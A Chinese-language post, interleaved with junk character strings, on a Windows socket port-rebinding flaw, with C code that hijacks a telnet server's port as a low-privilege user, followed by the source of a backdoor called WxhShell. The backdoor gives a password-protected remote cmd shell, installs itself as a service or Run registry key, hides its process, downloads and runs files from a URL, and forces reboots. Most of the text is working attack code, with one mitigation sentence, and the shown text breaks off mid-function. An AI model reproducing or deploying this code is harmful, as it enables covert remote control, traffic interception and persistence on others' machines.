在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v"Bv\5f,Ys s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.H+`]qLkL 6/9 A' !4C saddr.sin_family = AF_INET;
aX6.XHWbDf O&]Y.Z9,A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1tG,V%iCp R,01.N( U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5I5~GH bU1UNm`{C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ymybj e-f_#!bW 这意味着什么?意味着可以进行如下的攻击:
=!r9;L,? $@q)IK%FDL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0mL#8\'" E]6C1C&K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!G3O!] 72} MspzUt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[Z0 &`qz Ps0'WRJnx 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
' -[ d;|Pp;dc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$xmltvaF @jg*L2L6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/AWV@' =kohQ d.n 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xtN%v0ZZ +2`RvQN #include
0Ep%&>@ #include
t)XNS!6#]? #include
?f[#O&# #include
D52ELr7 DWORD WINAPI ClientThread(LPVOID lpParam);
swuW6p int main()
ro7\}O:I {
R@t?!`f!+ WORD wVersionRequested;
UO8#8 DWORD ret;
{PGNPxUbe WSADATA wsaData;
e4Ol:V BOOL val;
R`Hyg4? SOCKADDR_IN saddr;
-uN5DJSW SOCKADDR_IN scaddr;
#)_4$<P*' int err;
& :x_ SOCKET s;
S/]2Qt#T SOCKET sc;
[2.uwn]i int caddsize;
WcAX/<Y > HANDLE mt;
CD%wi:C%| DWORD tid;
(4n 8[ wVersionRequested = MAKEWORD( 2, 2 );
ZeF PwW err = WSAStartup( wVersionRequested, &wsaData );
#Zk6
if ( err != 0 ) {
mYXe0E#6 printf("error!WSAStartup failed!\n");
Ll lyx20U return -1;
FVsVY1 }
RvvK`}/6 saddr.sin_family = AF_INET;
AM*V4}s*9k q(i| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4dv+RRpGOv HE.
` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YY{S0jnhF saddr.sin_port = htons(23);
FkR9-X< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_!H{\kU {
#A@*k}/+ printf("error!socket failed!\n");
"n:z("Q* return -1;
>}GtmnF }
LHKawEZ val = TRUE;
wgpu]ooUF& //SO_REUSEADDR选项就是可以实现端口重绑定的
phwk0J]2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
T?:Vw laE {
"zL<:TQ" printf("error!setsockopt failed!\n");
<i`Ipj return -1;
=l&7~ }
#, W7N_mt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0Pu$1Fp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i[H`u,%+( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[2~Et+r6g 8v\BW^z3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_/MHi-]/. {
8-UlbO6 ret=GetLastError();
wlKfTJrn& printf("error!bind failed!\n");
G+[hE|L~y return -1;
Vq2d+
,fb }
D`,W1Z# listen(s,2);
>`Gys8T while(1)
3iJ4VL7 {
".onev^( caddsize = sizeof(scaddr);
a,U[$c //接受连接请求
\ $}^u5Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_dVzvk`_R if(sc!=INVALID_SOCKET)
?d0I*bs)7 {
J,%v`A ~N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yYwZZa1 if(mt==NULL)
fB|rW~!v {
cU?A|' printf("Thread Creat Failed!\n");
|E&a3TQW break;
sL75C|f9 }
^C^FxIA& }
1|l'oTAA CloseHandle(mt);
Y` Oz\W }
c#|!^gjf closesocket(s);
XzgJ@ WSACleanup();
<Qu]m.z[ return 0;
xCz(qR }
_@;t^j+l DWORD WINAPI ClientThread(LPVOID lpParam)
K[PH#dF5,x {
C:xgM'~+ SOCKET ss = (SOCKET)lpParam;
lt`(R*B% SOCKET sc;
({i}EC7{ unsigned char buf[4096];
QI'ul e SOCKADDR_IN saddr;
XT>
u/Z ) long num;
!E8y!|7$ DWORD val;
3#`_t :"A DWORD ret;
C|bnUN //如果是隐藏端口应用的话,可以在此处加一些判断
x>d,\{U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
EE(1;]d- saddr.sin_family = AF_INET;
#S)+eH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
WM$}1:O saddr.sin_port = htons(23);
-61{ MMiA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ozwPtF5 {
"MQy>mD6 printf("error!socket failed!\n");
UUJbF$@; return -1;
oP;"`^_ }
109dB$+$ val = 100;
8+5#FC7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9`VgD<?v {
yaza ret = GetLastError();
P~`gWGC} return -1;
$OB 2ZS" }
1`J-|eH=Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+XCLdf}dC {
ad1 I2 ret = GetLastError();
/#lhRNX return -1;
T'B4 3Q }
]=!wMn* * if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#N9^C@ {
k#X~+}N^ printf("error!socket connect failed!\n");
}5
^2g!M closesocket(sc);
gpDH_!K closesocket(ss);
_rt+OzZ*L return -1;
b5lZ| |W. }
jLo(Uf while(1)
>? >@&A/ {
yIy'"BCxM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Lgp{ hK //如果是嗅探内容的话,可以再此处进行内容分析和记录
S^(OjS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
w#mna b@ num = recv(ss,buf,4096,0);
.P(k |D& if(num>0)
4Bg"b/kF send(sc,buf,num,0);
[Z9
lxZ| else if(num==0)
E#}OIZ\S break;
#0>??]&r num = recv(sc,buf,4096,0);
nX%b@cOXj if(num>0)
.UX`@Q:Gp send(ss,buf,num,0);
=f0qih5.4 else if(num==0)
C'$w*^me break;
4'u +%6+__ }
9MP_#M7 closesocket(ss);
55Z)*JMv closesocket(sc);
Nc;cb return 0 ;
d1CQ;,Df< }
-([
ipg(r ~+DPq|-O j"=F\S&! ==========================================================
c"D%c(:4| ?1Os%9D* 下边附上一个代码,,WXhSHELL
#C^)W/dP @A32|p} ==========================================================
ov;1=M~RF mD@*vq #include "stdafx.h"
;B*im
S10 wT\JA4 #include <stdio.h>
'kBg3E$y #include <string.h>
"3 Y(uN #include <windows.h>
wr);+.T9R #include <winsock2.h>
oP>+2.i #include <winsvc.h>
$fifx>! #include <urlmon.h>
-YvnX0j+ !UHWCJ<
<w #pragma comment (lib, "Ws2_32.lib")
-)N,HAM> #pragma comment (lib, "urlmon.lib")
FK;3atrz ,GOH8h #define MAX_USER 100 // 最大客户端连接数
w{F{7X$^ #define BUF_SOCK 200 // sock buffer
|ppG*ee #define KEY_BUFF 255 // 输入 buffer
u%m,yPU~B RfoEHN #define REBOOT 0 // 重启
j-]`;&L #define SHUTDOWN 1 // 关机
U]Y</>xGI
Yzr)UJl*I #define DEF_PORT 5000 // 监听端口
hK]mnA[Y %lsRj)n #define REG_LEN 16 // 注册表键长度
7:/gO~gI #define SVC_LEN 80 // NT服务名长度
LH}]& >F '#<4oW\] // 从dll定义API
:/A7Z<u, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ymvd3> _ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KXrZ:4bg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iYaS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*Wj]e% p~Wy`g- // wxhshell配置信息
'ug:ic struct WSCFG {
W kP`qD3 int ws_port; // 监听端口
L2\<iJA}c char ws_passstr[REG_LEN]; // 口令
?Vre"6U int ws_autoins; // 安装标记, 1=yes 0=no
[D%(Y
~2 char ws_regname[REG_LEN]; // 注册表键名
^(F@ #zN} char ws_svcname[REG_LEN]; // 服务名
X,xCR]+5S char ws_svcdisp[SVC_LEN]; // 服务显示名
d#8 n<NM char ws_svcdesc[SVC_LEN]; // 服务描述信息
j_3`J8WwF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hs^K9Jt int ws_downexe; // 下载执行标记, 1=yes 0=no
WUBI(g\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
IL>VH`D char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~a$h\F'6
{,+{,Ere };
8sus$:Ry C))x#P36 // default Wxhshell configuration
;_X2E~i[ struct WSCFG wscfg={DEF_PORT,
;cEoc(<? "xuhuanlingzhe",
;F_pF+&q 1,
gpw,bV "Wxhshell",
%6.WGuO "Wxhshell",
X
aE;i57$l "WxhShell Service",
Z".Xroq~ "Wrsky Windows CmdShell Service",
.Gt_~x "Please Input Your Password: ",
rP{Jep! 1,
P,J+'.@ "
http://www.wrsky.com/wxhshell.exe",
=h\unQ1T "Wxhshell.exe"
'MgYSP< };
c/DK31K Fy 1- >~ // 消息定义模块
&+5ij;AD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
38mC+%iC char *msg_ws_prompt="\n\r? for help\n\r#>";
b#nI#!p' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xyD2<?dGUb char *msg_ws_ext="\n\rExit.";
S=<OS2W7+r char *msg_ws_end="\n\rQuit.";
EVlj#~mV char *msg_ws_boot="\n\rReboot...";
AqiH1LAE char *msg_ws_poff="\n\rShutdown...";
k{F]^VXQ char *msg_ws_down="\n\rSave to ";
B#DnU;=O#+ ?}e^-//*i char *msg_ws_err="\n\rErr!";
Kn=0AdM char *msg_ws_ok="\n\rOK!";
{E[t(Ig N7u|<
0[ char ExeFile[MAX_PATH];
\RqH"HqD int nUser = 0;
72CHyl`|l HANDLE handles[MAX_USER];
mBeP"G S int OsIsNt;
t"s$YB>} Jmuyd\?,b SERVICE_STATUS serviceStatus;
h% eGtd$n SERVICE_STATUS_HANDLE hServiceStatusHandle;
O9P+S|hcY Zg%tN#6y // 函数声明
HLkI?mW< int Install(void);
p#%*z~ui int Uninstall(void);
n)0M1o# int DownloadFile(char *sURL, SOCKET wsh);
'%X29B5 int Boot(int flag);
7`j%5%q void HideProc(void);
%M3L<2 int GetOsVer(void);
'}^qz#w int Wxhshell(SOCKET wsl);
~&aULY?)] void TalkWithClient(void *cs);
7gcR/HNeF int CmdShell(SOCKET sock);
>0z`H|;
int StartFromService(void);
h,?%,GI int StartWxhshell(LPSTR lpCmdLine);
%:s+5*SKe *_Vv(H& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Lf)JO|o VOID WINAPI NTServiceHandler( DWORD fdwControl );
d#OAM;0}5 5T%2al,F` // 数据结构和表定义
!w}b}+]GB SERVICE_TABLE_ENTRY DispatchTable[] =
j1;<3)%0 {
DRpFEWsm {wscfg.ws_svcname, NTServiceMain},
+[R^ ?~VK {NULL, NULL}
O{EPq' x };
OxPl0-]t &) 64:l& // 自我安装
%JHv2[r^P int Install(void)
@j!(at4B {
HSWki';G char svExeFile[MAX_PATH];
{+m8^-T HKEY key;
,CI-IR2 strcpy(svExeFile,ExeFile);
a>6D3n
W -g."{| // 如果是win9x系统,修改注册表设为自启动
TQu.jC if(!OsIsNt) {
^mg:<_p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I 12Zh7Cc: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H|_@9V RegCloseKey(key);
?YMBZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`Se2f0", RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EDz;6Z*4N RegCloseKey(key);
-u(,*9]cJ* return 0;
E~#G_opQA }
dl"=ZI
'^ }
.*f6n| }
Xt:$H6
y else {
s=]NKJaQH b*Q3j}c Z // 如果是NT以上系统,安装为系统服务
gV-*z}`U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q1q9W@H if (schSCManager!=0)
+;\w'dBi, {
}K={HW1> SC_HANDLE schService = CreateService
sE'c$H (
a{L&RRJ schSCManager,
&XV9_{Hm wscfg.ws_svcname,
I-}ms wscfg.ws_svcdisp,
U3C"o|
SERVICE_ALL_ACCESS,
S]ayH$w\Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N,Z*d SERVICE_AUTO_START,
=tbfBK+ SERVICE_ERROR_NORMAL,
P6Y+ u svExeFile,
%W8iC%~ NULL,
o">~ObR NULL,
Ka6u*:/ NULL,
I`(53LCqo NULL,
8{=|< NULL
OPzudO );
Q=8YAiCu if (schService!=0)
%g:'6%26 {
Z1jxu;O( CloseServiceHandle(schService);
1)^\R(l CloseServiceHandle(schSCManager);
=.7tS' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IA<>+NS strcat(svExeFile,wscfg.ws_svcname);
vQ*RrHG?c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xVw@pR; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]\KVA)\ RegCloseKey(key);
tewp-MKA return 0;
<$yA* }
jC_'6sc` }
24nNRTI CloseServiceHandle(schSCManager);
Ufl\
uq3'H }
M 9-Q }
}A+ncabm a7c`[ return 1;
rH!sImz, }
V]; i$ }2@Z{5sh) // 自我卸载
?IYu"UO<)| int Uninstall(void)
zzhZ1;\ {
E&
.^|<n HKEY key;
-Uy)=]Zae R;!@
xy if(!OsIsNt) {
T 5Zh2Q@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+Eh.PWEe RegDeleteValue(key,wscfg.ws_regname);
"o+?vx- RegCloseKey(key);
.n1&Jsey if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g=[OH RegDeleteValue(key,wscfg.ws_regname);
Cyd/HTNh< RegCloseKey(key);
]}PXN1( return 0;
<#ON }
;YR/7 }
b6
%m*~ }
NdRcA else {
LT<2 n.S
>#$SaG! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ij7P-5=< if (schSCManager!=0)
e,epKtL {
VS/M@y_./ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
']TWWwj$ if (schService!=0)
,\J 8(,%L {
e)wi}\:q_ if(DeleteService(schService)!=0) {
_$96y]Bpi CloseServiceHandle(schService);
~;3#MAG CloseServiceHandle(schSCManager);
+Ps.HW#NY return 0;
WI4<2u; }
g%l ,a3" CloseServiceHandle(schService);
2L1y4nnbwo }
s[{[pIH CloseServiceHandle(schSCManager);
~w3u(X$m" }
mP&\? }
_]OY[&R JyZuj>`
6 return 1;
o *J*}y }
Vt(Wy F|eWHw?t // 从指定url下载文件
'KA$^ int DownloadFile(char *sURL, SOCKET wsh)
f]8MdYX( {
?VNtT/ HRESULT hr;
!nSa4U,$w< char seps[]= "/";
8j;Un] char *token;
e?.j8Q~ char *file;
]B,tCBt char myURL[MAX_PATH];
>Xk42zvqn char myFILE[MAX_PATH];
v']_) 6&os`! strcpy(myURL,sURL);
{lWV H token=strtok(myURL,seps);
xcr2| while(token!=NULL)
GMJ4v S {
EjLq&QR. file=token;
a*y9@RC} token=strtok(NULL,seps);
a~7D4G }
U;#KFZ+~ &Gjpc>d GetCurrentDirectory(MAX_PATH,myFILE);
> O?WRCB strcat(myFILE, "\\");
`Y:]&w strcat(myFILE, file);
5P\>$N1p send(wsh,myFILE,strlen(myFILE),0);
w\acgQ^%e send(wsh,"...",3,0);
iT
:3e% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z?{\34lPj if(hr==S_OK)
ot<d
FvD return 0;
p[JIH~nb else
uC;_?Bve return 1;
D+3?p xT"V9t[f }
QCW4gIp D_d>A+ // 系统电源模块
xRD+!3 int Boot(int flag)
;[::&qf {
;|WUbc6&g HANDLE hToken;
OM[MRZEh G TOKEN_PRIVILEGES tkp;
D{N8q^Cs9 kw$7G1Q if(OsIsNt) {
~{I.qv)>M~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d <}'eBT' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kM506U<g tkp.PrivilegeCount = 1;
TI DgIK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_li3cXE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'hjEd. if(flag==REBOOT) {
h.X4x2(. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ML_VD*t9 return 0;
euB 1}M }
H7X-\K 1w else {
$\BYN=# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5`.CzQVb return 0;
JJd qdX; }
@3?>[R }
XL n9NBT4K else {
==[=Da~ if(flag==REBOOT) {
ZRxOXt&; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=sYILe[ return 0;
U*[E+Uq}:N }
l1 Kv`v\ else {
0$)Q@# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
tVRN3fJH return 0;
,/w*sE }
~(V\.hq }
L~6%Fi&n4 \C3I6Qx return 1;
XYo,5- }
!kE5]<H\ 5!F;|*vC8 // win9x进程隐藏模块
LDjtkD.r void HideProc(void)
zl1*GVg {
m8fj\,X g,+e3f HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X`D2w: if ( hKernel != NULL )
h-P|O6@Ki {
V\Cl""`XN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3s%?)z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y*c]C;%= FreeLibrary(hKernel);
2l)"I }
.H)H9cmf X+;[Gc}(W return;
?Zb+xN KJ( }
dQj/Sr i5}Z k r // 获取操作系统版本
DO:,PZX int GetOsVer(void)
bCw{9El!K4 {
?#K.D vGJ OSVERSIONINFO winfo;
*C*ZmC5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GY]P(NU GetVersionEx(&winfo);
RM|J |R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tY)L^.* 7 return 1;
~qghw@Q~ else
+5zXbfO return 0;
{fXkbMO| }
Nj>6TD81u (TT=i // 客户端句柄模块
]rlZP1". int Wxhshell(SOCKET wsl)
^~H}N$W"-q {
eg;7BZim{ SOCKET wsh;
!vwio! struct sockaddr_in client;
]UvB+M]Lv) DWORD myID;
!J7`frv"( 8o5[tl
?w while(nUser<MAX_USER)
[{7#IZL {
ps{4_V-3 u int nSize=sizeof(client);
K}l3t2uk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=
7y-o if(wsh==INVALID_SOCKET) return 1;
yLC[-.H 7H3v[ f^Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
]M5~p^ RB if(handles[nUser]==0)
}n9(|i+ closesocket(wsh);
N!K%aH~O else
J p=qPG| nUser++;
?J:w,,4m }
<[db)r~c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vywB{%p &O'W+4FAc return 0;
s/"bH3Ob9v }
Uc
tlE>X` D^[l~K // 关闭 socket
0/Q_%
: void CloseIt(SOCKET wsh)
\jC) ;mk {
9lYKG^#D closesocket(wsh);
{W,5]- nUser--;
&BPYlfB1 ExitThread(0);
d1D
f` }
DN2 ]Y' Cf[tNq // 客户端请求句柄
roS" q~GS, void TalkWithClient(void *cs)
v,-Tk=qP {
v?`R8 V"#0\|]m SOCKET wsh=(SOCKET)cs;
=7Ud-5c char pwd[SVC_LEN];
J>_mDcPo char cmd[KEY_BUFF];
`yfZ{< char chr[1];
qd0G sr}j int i,j;
/!H24[tnk1 y[ dBmTY while (nUser < MAX_USER) {
9+1{a.JO :=NXwY3~M if(wscfg.ws_passstr) {
R
(f:UC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.Pm5nS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UXct+l //ZeroMemory(pwd,KEY_BUFF);
1-gM)x{Jr i=0;
tyR?A>F4 while(i<SVC_LEN) {
Ub3$ ` lM\dK)p21O // 设置超时
IO\1nB$0nb fd_set FdRead;
N'2?Z b struct timeval TimeOut;
J||g(+H> FD_ZERO(&FdRead);
>eGg 1 FD_SET(wsh,&FdRead);
bbC@ TimeOut.tv_sec=8;
|xB`cSu( TimeOut.tv_usec=0;
zb0NqIN: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u2#q7} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mE<_oRM) kZ%
AGc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
iV{_?f1jo pwd
=chr[0]; .V;,6Vq
if(chr[0]==0xd || chr[0]==0xa) { HkD.W6A3
pwd=0; !4p{b f
break; Kki(A4;7F
} JT
7WZc)
i++; 7\UHADr
} $>/d)o
H(^Ehv>
// 如果是非法用户,关闭 socket pz^S3fy
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1clzDwW
} \n_7+[=E
='"Yj
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q2%cLbI
F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {-5)nS^_
$1 ])>m_ct
while(1) { ,buX|
IUOf/mM5
ZeroMemory(cmd,KEY_BUFF); MD[hqshoh
Mq91HmC(@
// 自动支持客户端 telnet标准 gN/!w:
j=0; Q`bXsH
while(j<KEY_BUFF) { 5p.rd0T]l3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2c Xae
cmd[j]=chr[0]; VN)WBv
if(chr[0]==0xa || chr[0]==0xd) { vsI;ooR>
cmd[j]=0; ROkwjw
break; qJ;~ANwt
} XIIq0I
j++; %wbdg&^
} u(Mbp$R'?
E3wpC#[Q1
// 下载文件 }%XB*pzQ
if(strstr(cmd,"http://")) { 0N1t.3U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,3?=W/Um4
if(DownloadFile(cmd,wsh)) "r6qFxY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >M5}L<
else
f,O10`4s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J^"_H:1[
} :cA P{rSe
else { 1:eWZ]B5"
KGJSGvo+y
switch(cmd[0]) { KF7w{A){
D*.3]3-I
// 帮助 va@;V+cD
case '?': { ~|KqG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R6<'J?k
break; -)-:rRx-
} T.#_v#oM
// 安装 rRevyTs
case 'i': { 'wPX.h?
if(Install()) ^$oa`B^2JM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Apu-9|oP
else nDn+lWA=g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gxhp7c182
break; 'N{1b_v?
} 6O/ L~Z*t
// 卸载 ~;(\a@ _
case 'r': { cEHpa%_5
if(Uninstall()) z
4}"oQk:r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$7^.eHfdd
else %ZRv+}z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xf;!w:u
break; G:e=9qTf
} yl>^QMmo
// 显示 wxhshell 所在路径 -,
+o*BP
case 'p': { ;*5z&1O
char svExeFile[MAX_PATH]; Dml?.-Uv<
strcpy(svExeFile,"\n\r"); 9?Bh8%$
strcat(svExeFile,ExeFile); ,q*|R
O
send(wsh,svExeFile,strlen(svExeFile),0); \WE/#To
break; 0faf4LzU!
} NL.3qx
// 重启 $idToOkw
case 'b': { ]Z[3 \~?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ULew ~j
if(Boot(REBOOT)) E`N`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4"PA7
e
else { OC5oxL2HTe
closesocket(wsh); 0084`&Ki
ExitThread(0); B)/&xQu
} EW]DzL3
break; 7_Vd%<:
} 0of:tZU
// 关机
G,A?yM'Vw
case 'd': { tLJ 7tnB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M]V
j
if(Boot(SHUTDOWN)) @{V`g8P>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4=q4_ \_T
else { Rq15AR
closesocket(wsh); z .lb(xQ
ExitThread(0); >$}Mr%49
} #p"F$@N
break; []\-*{^r
} ]UOzz1
// 获取shell MeD/)T{ G~
case 's': { f$ /C.E
CmdShell(wsh); g?1bEOA!
closesocket(wsh); [GknE#p
ExitThread(0); UHY)+6qt]
break; 2;:]Q.g
} (QFZM"G
// 退出 Z+R-}<
case 'x': { lxTqGwx
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iMVQt1/
CloseIt(wsh); "=?JIQ
break; e>Q:j_?.e
} PJb/tKC
// 离开 %.[AZ>
case 'q': { 937<:zo:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); QdZHIgh`i
closesocket(wsh); AJ
0Bb7
WSACleanup(); Xj?LU7
exit(1); d}E6d||A
break; $xvwnbq#y
} -XECYwTh
} +L?;g pVE&
} = r=/L
g3n>}\xG>
// 提示信息 E#w2'(t
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I2{zy|&
} .O5|d+S
} g7%vI8Y)@
;rJ#>7K
return; OwC{ Ad{
} _58&^:/^
TFc/`
// shell模块句柄 C1HNcfa7
int CmdShell(SOCKET sock) >taT
V_,
{ R{4[.
STARTUPINFO si; wj$3L3
ZeroMemory(&si,sizeof(si)); yaj1nq!*"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w2"]%WS %
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7<Ut/1$MI
PROCESS_INFORMATION ProcessInfo; i/N6 8
char cmdline[]="cmd"; H_JT"~_2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }L Brk0]
return 0; UL8"{-`_\
} "(F:'J} X
qB3&F pgW
// 自身启动模式 Y$q--JA
int StartFromService(void) K<ldl.
{ 0J )VEMC
typedef struct P`hg*"<V
{ 2\}6b4
DWORD ExitStatus; .dBW{|gN
DWORD PebBaseAddress; wW/wvC-
